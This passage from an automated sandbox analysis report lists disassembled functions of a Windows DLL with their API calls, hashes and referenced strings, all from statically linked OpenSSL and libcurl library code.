Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: strncmp$__fprintf_l$memchr
String ID: -----$-----END $crypto\pem\pem_lib.c$get_header_and_data
API String ID: 124744601-2490496441
Opcode ID: 27604a51ceecf00d6b4a5a4d3107b11965fd3002cbe927e4041aae9aaafee151
Instruction ID: ed9341a929ad425ce4565a67a6f3e4cf87dc7590e65d2b60a5553d313e581527
Opcode Fuzzy Hash: 27604a51ceecf00d6b4a5a4d3107b11965fd3002cbe927e4041aae9aaafee151
Instruction Fuzzy Hash: C7515D75B047016FE310DA64DD42B9B77CAEF44394F210934FD48DA2A2E7ADAE09C693

Function 100A62D0 Relevance: 17.6, APIs: 4, Strings: 6, Instructions: 145COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100A62FA

Strings

the mandatory 'input' property is missing for decoder %s (properties: %s), xrefs: 100A63CD
structure, xrefs: 100A63E3
there are no property definitions with decoder %s, xrefs: 100A6363
crypto\encode_decode\decoder_lib.c, xrefs: 100A62E8, 100A630C, 100A6352, 100A63AF, 100A641F, 100A645E
input, xrefs: 100A637C
ossl_decoder_instance_new, xrefs: 100A62DE, 100A6348, 100A63A5, 100A6415

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\encode_decode\decoder_lib.c$input$ossl_decoder_instance_new$structure$the mandatory 'input' property is missing for decoder %s (properties: %s)$there are no property definitions with decoder %s
API String ID: 3906573944-1797233918
Opcode ID: 36b9c0a5287603468fc4edab6ab3522ad3152f753a366d6e45ecf2091f269a40
Instruction ID: 5066d4b9696b86ba0969eae8eff21918bfb71a51db24d2d392a6547f83f7a83e
Opcode Fuzzy Hash: 36b9c0a5287603468fc4edab6ab3522ad3152f753a366d6e45ecf2091f269a40
Instruction Fuzzy Hash: 344160B954030576F150E7B8BD03F6F31E8EFA5664F048525F989F5183FBA1B9148272

Function 10067FD0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 86stringCOMMON

Download Yara Rule

APIs

Part of subcall function 10082AD0: MultiByteToWideChar.KERNEL32(0000FDE9,00000008,00000000,00000002,00000000,00000000,100896C9,102C4FDC,00000000,00000000,10067FE1,100896C9,100896C9,00000001,102C4FDC,00000000), ref: 10082B1B
Part of subcall function 10082AD0: GetLastError.KERNEL32 ref: 10082B2D
Part of subcall function 10082AD0: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,00000000,00000000,00000000), ref: 10082B4C
Part of subcall function 10082AD0: GetLastError.KERNEL32 ref: 10082B58
Part of subcall function 10082AD0: fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001), ref: 10082B69

strchr.VCRUNTIME140(100896C9,00000062,100896C9,100896C9,00000001,102C4FDC,00000000,100893E5,?,102C1144,102C4FDC,00000000,1008B312,00000000,Listing certs for store %s,102C4FDC), ref: 10067FE6
GetLastError.KERNEL32(calling fopen(%s, %s),?,100896C9,?,?,?,00000000), ref: 10068023
__fprintf_l.LIBCMT ref: 1006802C
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,00000000), ref: 10068034
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,00000000), ref: 1006803E
__fprintf_l.LIBCMT ref: 10068074
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000), ref: 10068096

Strings

BIO_new_file, xrefs: 10068005, 1006805F
calling fopen(%s, %s), xrefs: 1006801E
crypto\bio\bss_file.c, xrefs: 1006800C, 10068065

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ErrorLast$ByteCharMultiWide__fprintf_l_errno$fclosefopenstrchr
String ID: BIO_new_file$calling fopen(%s, %s)$crypto\bio\bss_file.c
API String ID: 3620630697-2093063674
Opcode ID: bfd2949ab860907bbbe65bd9b035bbe813ea6786971c5d961ae6db535ff24b35
Instruction ID: b3fe94007748b9bf6666b44acea7166f1fa5630571d53f87bd0da0f7948bdef6
Opcode Fuzzy Hash: bfd2949ab860907bbbe65bd9b035bbe813ea6786971c5d961ae6db535ff24b35
Instruction Fuzzy Hash: 201150BEA4021066D350E2A46D47F9B2159EFC2761F250635FE4876183EA11792C97B3

Function 10082AD0 Relevance: 16.6, APIs: 11, Instructions: 148fileCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000008,00000000,00000002,00000000,00000000,100896C9,102C4FDC,00000000,00000000,10067FE1,100896C9,100896C9,00000001,102C4FDC,00000000), ref: 10082B1B
GetLastError.KERNEL32 ref: 10082B2D
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,00000000,00000000,00000000), ref: 10082B4C
GetLastError.KERNEL32 ref: 10082B58
fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001), ref: 10082B69
MultiByteToWideChar.KERNEL32(0000FDE9,00000008,00000000,00000000,?,00000000), ref: 10082BA9
MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000001,00000003,100896C9,00000008,?,00000000), ref: 10082BD3
_wfopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000001,100896C9,?,00000000), ref: 10082BE0
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 10082BEE
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 10082BF8
fopen.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000), ref: 10082C04

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ByteCharMultiWide$ErrorLast_errnofopen$_wfopen
String ID:
API String ID: 1544496049-0
Opcode ID: 3f8901dfba8e84357d0c73da9d5cb667b0aeb2f39e28cdebef477c3973d36092
Instruction ID: c5b1980465a9d8e20383cff12c17edeedc2a5486cfd40f26a6bd4d96e744280c
Opcode Fuzzy Hash: 3f8901dfba8e84357d0c73da9d5cb667b0aeb2f39e28cdebef477c3973d36092
Instruction Fuzzy Hash: FC41D535E00109DBDF10DFA48C82BFEB7A9FF49350F11416AED05AB641DB256D15CBA1

Function 10073460 Relevance: 16.1, APIs: 3, Strings: 6, Instructions: 315COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 1007383A
__fprintf_l.LIBCMT ref: 10073887

Strings

crypto\evp\digest.c, xrefs: 10073494, 100737B4, 100737F7, 10073827, 10073874
blocksize, xrefs: 1007366A
evp_md_from_algorithm, xrefs: 100737AA, 100737ED, 1007381D, 1007386A
size, xrefs: 1007369D
xof, xrefs: 100736C0
algid-absent, xrefs: 100736E9

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: algid-absent$blocksize$crypto\evp\digest.c$evp_md_from_algorithm$size$xof
API String ID: 3906573944-2768603213
Opcode ID: 878531010db679c52bd783b7c276ed3d330a52b0eda82ef431e2bbabe74a4a44
Instruction ID: 5af29255109be3d34341896487c61986321a570f7cc92f5bbc0a01faefd2243f
Opcode Fuzzy Hash: 878531010db679c52bd783b7c276ed3d330a52b0eda82ef431e2bbabe74a4a44
Instruction Fuzzy Hash: 35C19E71904B45AFE320CF24C842B5BB3E4FB45754F10CA2EF6DA86651EB78A488CF56

Function 100B67D0 Relevance: 16.0, APIs: 2, Strings: 7, Instructions: 297COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100B699F
__fprintf_l.LIBCMT ref: 100B6AAE

Strings

PRIVATE KEY, xrefs: 100B6877, 100B6A10
ENCRYPTED PRIVATE KEY, xrefs: 100B6900
crypto\pem\pem_pkey.c, xrefs: 100B698F, 100B6A9B, 100B6ABB, 100B6ACE
pem_read_bio_key_legacy, xrefs: 100B6985, 100B6A91
ANY PRIVATE KEY, xrefs: 100B684E
PUBLIC KEY, xrefs: 100B68A8
PARAMETERS, xrefs: 100B68AD, 100B68B5, 100B6B03

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: ANY PRIVATE KEY$ENCRYPTED PRIVATE KEY$PARAMETERS$PRIVATE KEY$PUBLIC KEY$crypto\pem\pem_pkey.c$pem_read_bio_key_legacy
API String ID: 3906573944-3795873231
Opcode ID: c65968674920aae82677cf9d7771762b9a7397e2a206bb2af23b5410f1807893
Instruction ID: 39d4176f7e41781b659c1f943f5e3cf8ad56c26f36d45b0e3ec98e59ca590143
Opcode Fuzzy Hash: c65968674920aae82677cf9d7771762b9a7397e2a206bb2af23b5410f1807893
Instruction Fuzzy Hash: 5FA1F8B96043426BD710DF60DC42B5FB7E9EF88644F444528F988E6252EB39ED18C763

Function 10078240 Relevance: 16.0, APIs: 1, Strings: 8, Instructions: 234COMMON

Download Yara Rule

APIs

Part of subcall function 1007CAD0: GetEnvironmentVariableW.KERNEL32(OPENSSL_WIN32_UTF8,00000000,00000000,00000000,00000000,00000000,00000000,10060A30,OPENSSL_MODULES,?,?,00000000,?,?,?), ref: 1007CAF3
Part of subcall function 1007CAD0: GetACP.KERNEL32 ref: 1007CB12
Part of subcall function 1007CAD0: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00000000,00000000), ref: 1007CB77
Part of subcall function 1007CAD0: MultiByteToWideChar.KERNEL32(00000000,000000FF,?,000000FF,-00000008,?,?,?,00000000,?,?,?,?,?,00000000), ref: 1007CBE8
Part of subcall function 1007CAD0: GetEnvironmentVariableW.KERNEL32(-00000008,00000000,00000000,?,?,00000000,?,?,?,?,?,00000000,?,?,?,?), ref: 1007CBFB

__fprintf_l.LIBCMT ref: 1007847A

Part of subcall function 10078090: __fprintf_l.LIBCMT ref: 100780CE

Strings

OPENSSL_CONF, xrefs: 10078265
config_diagnostics, xrefs: 10078371, 100783D7
openssl_conf=%s, xrefs: 10078471
%s%s%s, xrefs: 100782E6
CONF_modules_load, xrefs: 1007845C
crypto\conf\conf_mod.c, xrefs: 1007827B, 100782B5, 100783FD, 10078466
openssl.cnf, xrefs: 100782D8
openssl_conf, xrefs: 100783B7

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: ByteCharEnvironmentMultiVariableWide__fprintf_l
String ID: %s%s%s$CONF_modules_load$OPENSSL_CONF$config_diagnostics$crypto\conf\conf_mod.c$openssl.cnf$openssl_conf$openssl_conf=%s
API String ID: 3839019013-795481511
Opcode ID: c2128c3e0383e9b76ff4660efbf6df3b1e07333859891394c1e6be24a576c5c3
Instruction ID: 4c4920042a0aa531dc993d94ada18687a3fb0f5f33aa183661378e32b1986fa5
Opcode Fuzzy Hash: c2128c3e0383e9b76ff4660efbf6df3b1e07333859891394c1e6be24a576c5c3
Instruction Fuzzy Hash: 5F616875E803426BD300EA749C42B5F76C5DF81684F044528FE8966243EFADBB5843EE

Function 102641F0 Relevance: 16.0, APIs: 4, Strings: 5, Instructions: 227COMMON

Download Yara Rule

APIs

fputs.API-MS-WIN-CRT-STDIO-L1-1-0(# Your HSTS cache. https://curl.se/docs/hsts.html# This file was generated by libcurl! Edit at your own risk.,?,00000088,00000734,?,00000000), ref: 10264283
fclose.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,?,?,?,?,00000088,00000734,?,00000000), ref: 10264344
_unlink.API-MS-WIN-CRT-FILESYSTEM-L1-1-0(?,?,?,?,?,?,00000088,00000734,?,00000000), ref: 1026437E

Strings

unlimited, xrefs: 102642C2
# Your HSTS cache. https://curl.se/docs/hsts.html# This file was generated by libcurl! Edit at your own risk., xrefs: 1026427E
%s%s "%s", xrefs: 102642CE
%s%s "%d%02d%02d %02d:%02d:%02d", xrefs: 1026432A
%d%02d%02d %02d:%02d:%02d, xrefs: 10264459

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: _unlinkfclosefputs
String ID: # Your HSTS cache. https://curl.se/docs/hsts.html# This file was generated by libcurl! Edit at your own risk.$%d%02d%02d %02d:%02d:%02d$%s%s "%d%02d%02d %02d:%02d:%02d"$%s%s "%s"$unlimited
API String ID: 498794310-2451391588
Opcode ID: 9f8e0856c171402311cc48cf617875473bf8ae1eeeacd177351cb426bee80822
Instruction ID: f1af78dc05b46ab5e7bcf5f1703c79877f4ba830ba1d13ef3a477c15706e3c6d
Opcode Fuzzy Hash: 9f8e0856c171402311cc48cf617875473bf8ae1eeeacd177351cb426bee80822
Instruction Fuzzy Hash: 1781BC75908342AFC700CF64C881A5BB7E9FF88364F214A19FD9597251EB31E9A4CB92

Function 10148A90 Relevance: 16.0, APIs: 5, Strings: 4, Instructions: 209COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,?,00000000,?,?,1014A393,?,?,?,?,?), ref: 10148B2A
__fprintf_l.LIBCMT ref: 10148BE4

Strings

PEM_def_callback, xrefs: 10148B66
Enter PEM pass phrase:, xrefs: 10148B3E, 10148B4C
PEM_do_header, xrefs: 10148BCA, 10148CA7
crypto\pem\pem_lib.c, xrefs: 10148B6D, 10148BD4, 10148CB1

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_lmemmove
String ID: Enter PEM pass phrase:$PEM_def_callback$PEM_do_header$crypto\pem\pem_lib.c
API String ID: 58337479-1936084577
Opcode ID: 6da055a6742123b49a2e90a1e149db913994ad4ffae09a40290f7a8406b9469a
Instruction ID: 495e4b0f90ffe4fed8c3f1795d00369fcb4c7e860f4df5fa67abffc7f65e4a95
Opcode Fuzzy Hash: 6da055a6742123b49a2e90a1e149db913994ad4ffae09a40290f7a8406b9469a
Instruction Fuzzy Hash: 3C51F4B56053016FD720DA64DC82FAF73D8EF44740F510918FE48E7282EB69B909C6A6

Function 100A58F0 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 168COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100A5929
__fprintf_l.LIBCMT ref: 100A5AA6

Strings

No supported data to decode. %s%s%s%s%s%s, xrefs: 100A5A9A
Input type: , xrefs: 100A5A01, 100A5A18
OSSL_DECODER_from_bio, xrefs: 100A5910, 100A5A77, 100A5ADE
No decoders were found. For standard decoders you need at least one of the default or base providers available. Did you forget to load them?, xrefs: 100A5AEF
crypto\encode_decode\decoder_lib.c, xrefs: 100A5917, 100A5A7E, 100A5AE5
Input structure: , xrefs: 100A5A09, 100A5A2F

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: Input structure: $Input type: $No decoders were found. For standard decoders you need at least one of the default or base providers available. Did you forget to load them?$No supported data to decode. %s%s%s%s%s%s$OSSL_DECODER_from_bio$crypto\encode_decode\decoder_lib.c
API String ID: 3906573944-481914282
Opcode ID: d85189b605c38939fd2c981a8039a09e3c6b84bd77e1355efdec37223eeff92a
Instruction ID: 3369e48eed2ad071fc862c1f55d518715721a8cd66a8049952f9dee62faa099c
Opcode Fuzzy Hash: d85189b605c38939fd2c981a8039a09e3c6b84bd77e1355efdec37223eeff92a
Instruction Fuzzy Hash: 445116B5704304ABD300DAE59DC2F2B72D4FF94654F404A2DFA89D6102EB72E914C767

Function 10077E80 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 143COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10077EC3

Strings

crypto\conf\conf_lib.c, xrefs: 10077EB0, 10077F87, 10077FBC, 10077FE2
gfff, xrefs: 10077F37
NCONF_get_string, xrefs: 10077FAE
NCONF_get_number_e, xrefs: 10077EA6, 10077F7D
group=%s name=%s, xrefs: 10077FF4

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: NCONF_get_number_e$NCONF_get_string$crypto\conf\conf_lib.c$gfff$group=%s name=%s
API String ID: 3906573944-2299922097
Opcode ID: cbcc25350a8552c3431853912280fa88c0dc84e8ab3eec707c53b0c83bb08c3b
Instruction ID: a8d2bc361656b4c5814b5698c15cc204208c6c0c4c6072c0bbe4581ceece017d
Opcode Fuzzy Hash: cbcc25350a8552c3431853912280fa88c0dc84e8ab3eec707c53b0c83bb08c3b
Instruction Fuzzy Hash: F4416D363443016BD200EA75BC82FBBB7D4FF85351F400535FA8CEA182EA65E61DD2A6

Function 10057A90 Relevance: 15.9, APIs: 7, Strings: 2, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,00000002,00000001,?,10057DF3,00000000,1004B3FD,00000000,00000000,00000000,00000000,00000000,?), ref: 10057AB3
GetProcAddress.KERNEL32(00000000,_OPENSSL_isservice), ref: 10057AC3
GetProcessWindowStation.USER32(00000002,00000001,?,10057DF3,00000000,1004B3FD,00000000,00000000,00000000,00000000,00000000,?), ref: 10057AF6
GetUserObjectInformationW.USER32(00000000,00000002,00000000,00000000,?,?,10057DF3,00000000,1004B3FD,00000000,00000000,00000000,00000000,00000000,?), ref: 10057B11
GetLastError.KERNEL32(?,10057DF3,00000000,1004B3FD,00000000,00000000,00000000,00000000,00000000,?), ref: 10057B1B
GetUserObjectInformationW.USER32(00000000,00000002,?,?,?,?,10057DF3,00000000,1004B3FD,00000000,00000000,00000000,00000000,00000000,?), ref: 10057B4E
wcsstr.VCRUNTIME140(?,Service-0x,?,?,?,?,10057DF3,00000000,1004B3FD,00000000,00000000,00000000,00000000,00000000,?), ref: 10057B71

Strings

_OPENSSL_isservice, xrefs: 10057ABD
Service-0x, xrefs: 10057B64

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: InformationObjectUser$AddressErrorHandleLastModuleProcProcessStationWindowwcsstr
String ID: Service-0x$_OPENSSL_isservice
API String ID: 459917433-1672312481
Opcode ID: 14c1340672559e8ddd2e9f0db68e2b853ae599ac045a70aa3e8917851e75ebd9
Instruction ID: 8caf7136263958dfb60998848bbbe74622854e00e7d34cdedd01fc88711430a0
Opcode Fuzzy Hash: 14c1340672559e8ddd2e9f0db68e2b853ae599ac045a70aa3e8917851e75ebd9
Instruction Fuzzy Hash: 7531A331A00119EBDB10DFA49C89B9E77ACEF89760F110259F92AD75D0EF389A14CA51

Function 1008BC30 Relevance: 15.8, APIs: 3, Strings: 6, Instructions: 68encryptionCOMMON

Download Yara Rule

APIs

CertOpenStore.CRYPT32(00000009,00000000,00000000,?,00000000), ref: 1008BC79
__fprintf_l.LIBCMT ref: 1008BCB7
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000), ref: 1008BCD0

Strings

%lX, xrefs: 1008BCD7
Opening certificate store %s, xrefs: 1008BC61
D:\FilePath\src\vcpkg\buildtrees\openssl\x86-windows-static-rel\engines\e_capi_err.c, xrefs: 1008BCA3
engines\e_capi.c, xrefs: 1008BCC3
ERR_CAPI_error, xrefs: 1008BC9C
Error code= 0x, xrefs: 1008BCED

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: CertErrorLastOpenStore__fprintf_l
String ID: %lX$D:\FilePath\src\vcpkg\buildtrees\openssl\x86-windows-static-rel\engines\e_capi_err.c$ERR_CAPI_error$Error code= 0x$Opening certificate store %s$engines\e_capi.c
API String ID: 2460695740-540775081
Opcode ID: 52c5c32c2e55be1cf746bab244a572ea2f1a0bc62192822690111e320b4fac71
Instruction ID: 5e2bb2057efd9b06198722f0fe98cc68932564c9ea6e9633d782be85b4047fde
Opcode Fuzzy Hash: 52c5c32c2e55be1cf746bab244a572ea2f1a0bc62192822690111e320b4fac71
Instruction Fuzzy Hash: 9911E639E44721BFD310EF64AC86F5B77A8FB89B40F010519F948EB191DF64B8548AA3

Function 100A5D70 Relevance: 14.3, APIs: 2, Strings: 6, Instructions: 310COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 100A5F40
__fprintf_l.LIBCMT ref: 100A5F81

Part of subcall function 1007D3B0: __fprintf_l.LIBCMT ref: 1007D408

Strings

decoder_process, xrefs: 100A5F23, 100A5F65
crypto\encode_decode\decoder_lib.c, xrefs: 100A5F2D, 100A5F6F
type-specific, xrefs: 100A5EE0
data-structure, xrefs: 100A5EA9
data-type, xrefs: 100A5E85
data, xrefs: 100A5E53

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: crypto\encode_decode\decoder_lib.c$data$data-structure$data-type$decoder_process$type-specific
API String ID: 3906573944-2394805209
Opcode ID: 7c9aa32fa2a62a2e8f542de46b55745d225b90e980553870c5bb4ee3e20f58f4
Instruction ID: 58abc369fea08b2ec5f39ca7dcf524583b62523e98bb63d213a551aa3cf0e60e
Opcode Fuzzy Hash: 7c9aa32fa2a62a2e8f542de46b55745d225b90e980553870c5bb4ee3e20f58f4
Instruction Fuzzy Hash: 54B19CB5A04302EBD744CFA49C42B1BB6F4FF88295F05462CF948A7251E732EA54CB96

Function 10052AF0 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 303COMMON

Download Yara Rule

APIs

__fprintf_l.LIBCMT ref: 10052BAF

Strings

assertion failed: bl <= (int)sizeof(ctx->buf), xrefs: 10052CF1
crypto\evp\evp_enc.c, xrefs: 10052B9C, 10052CEC, 10052D62
evp_EncryptDecryptUpdate, xrefs: 10052B92, 10052C91, 10052D58

Memory Dump Source

Source File: 00000000.00000002.3866461511.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.3866361696.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3875815756.00000000102A6000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3877999079.0000000010342000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.3878165346.0000000010349000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_T2dvU8f2xg.jbxd

Similarity

API ID: __fprintf_l
String ID: assertion failed: bl <= (int)sizeof(ctx->buf)$crypto\evp\evp_enc.c$evp_EncryptDecryptUpdate
